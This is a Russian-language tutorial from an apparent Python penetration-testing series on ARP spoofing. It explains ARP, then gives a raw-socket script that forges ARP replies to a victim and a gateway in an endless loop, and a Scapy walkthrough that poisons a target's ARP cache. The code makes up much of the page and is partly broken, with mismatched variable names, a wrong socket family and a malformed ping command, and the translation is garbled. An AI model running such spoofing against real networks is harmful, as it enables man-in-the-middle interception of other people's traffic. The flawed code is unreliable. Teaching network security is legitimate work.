Тестирование на проникновение Python - подмена ARP
ARP можно определить как протокол без сохранения состояния, который используется для отображения адресов Интернет-протокола (IP) на адреса физических машин.
Работа ARP
В этом разделе мы узнаем о работе ARP. Рассмотрим следующие шаги, чтобы понять, как работает ARP:
Step 1 - Во-первых, когда машина хочет связаться с другой, она должна искать физический адрес в своей таблице ARP.
Step 2 - Если он найдет физический адрес машины, пакет после преобразования до его правильной длины будет отправлен на желаемую машину.
Step 3 - Но если запись для IP-адреса в таблице не найдена, ARP_request будет транслироваться по сети.
Step 4- Теперь все машины в сети будут сравнивать транслируемый IP-адрес с MAC-адресом, и если какая-либо из машин в сети идентифицирует адрес, она ответит на ARP_request вместе со своим IP и MAC-адресом. Такое сообщение ARP называется ARP_reply.
Step 5 - Наконец, машина, которая отправляет запрос, сохранит адресную пару в своей таблице ARP, и вся связь будет иметь место.
Что такое спуфинг ARP?
Его можно определить как тип атаки, когда злоумышленник отправляет поддельный запрос ARP по локальной сети. Отравление ARP также известно как спуфинг ARP. Это можно понять с помощью следующих пунктов -
Первый спуфинг ARP для перегрузки коммутатора приведет к созданию огромного количества фальсифицированных пакетов запроса и ответа ARP.
Тогда переключатель перейдет в режим пересылки.
Теперь таблица ARP будет заполнена поддельными ответами ARP, чтобы злоумышленники могли прослушивать все сетевые пакеты.
Реализация с использованием Python
В этом разделе мы поймем реализацию Python спуфинга ARP. Для этого нам понадобится три MAC-адреса - первый жертвы, второй злоумышленника и третий шлюза. Наряду с этим нам также необходимо использовать код протокола ARP.
Давайте импортируем необходимые модули следующим образом -
import socket
import struct
import binascii
Теперь мы создадим сокет, у которого будет три параметра. Первый параметр сообщает нам о пакетном интерфейсе (PF_PACKET для Linux и AF_INET для Windows), второй параметр сообщает нам, является ли это сырым сокетом, а третий параметр сообщает нам об интересующем нас протоколе (здесь 0x0800 используется для IP протокол).
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))
Теперь мы предоставим Mac-адрес злоумышленника, жертвы и шлюзовой машины -
attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'
Нам нужно указать код протокола ARP, как показано -
code ='\x08\x06'
Два пакета Ethernet, один для машины-жертвы, а другой для машины шлюза, были созданы следующим образом:
ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac + attckmac + code
Следующие строки кода приведены в порядке в соответствии с заголовком ARP:
htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'
Теперь нам нужно указать IP-адреса шлюзовой машины и машин-жертв (предположим, что у нас есть следующие IP-адреса для шлюзов и машин-жертв):
gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'
Преобразуйте указанные выше IP-адреса в шестнадцатеричный формат с помощью socket.inet_aton() метод.
gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )
Выполните следующую строку кода, чтобы изменить IP-адрес шлюза.
victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip
while 1:
s.send(victim_ARP)
s.send(gateway_ARP)
Реализация с использованием Scapy в Kali Linux
Подмена ARP может быть реализована с помощью Scapy в Kali Linux. Выполните следующие действия, чтобы выполнить то же самое -
Шаг 1. Адрес атакующей машины
На этом шаге мы найдем IP-адрес атакующей машины, выполнив команду ifconfig в командной строке Kali Linux.
Шаг 2: Адрес целевой машины
На этом этапе мы найдем IP-адрес целевой машины, выполнив команду ifconfig в командной строке Kali Linux, которую нам нужно открыть на другой виртуальной машине.
Шаг 3. Проверьте связь с целевой машиной
На этом этапе нам нужно проверить связь с целевой машиной с атакующей машины с помощью следующей команды -
Ping –c 192.168.43.85(say IP address of target machine)
Шаг 4: кеш ARP на целевой машине
Мы уже знаем, что две машины используют пакеты ARP для обмена MAC-адресами, поэтому после шага 3 мы можем запустить следующую команду на целевой машине, чтобы увидеть кеш ARP:
arp -n
Шаг 5: Создание ARP-пакета с помощью Scapy
Мы можем создавать пакеты ARP с помощью Scapy следующим образом:
scapy
arp_packt = ARP()
arp_packt.display()
Шаг 6: Отправка вредоносного ARP-пакета с помощью Scapy
Мы можем отправлять вредоносные ARP-пакеты с помощью Scapy следующим образом:
arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)
Step 7: Again check ARP cache on target machine
Теперь, если мы снова проверим кеш ARP на целевой машине, мы увидим поддельный адрес 1.1.1.1.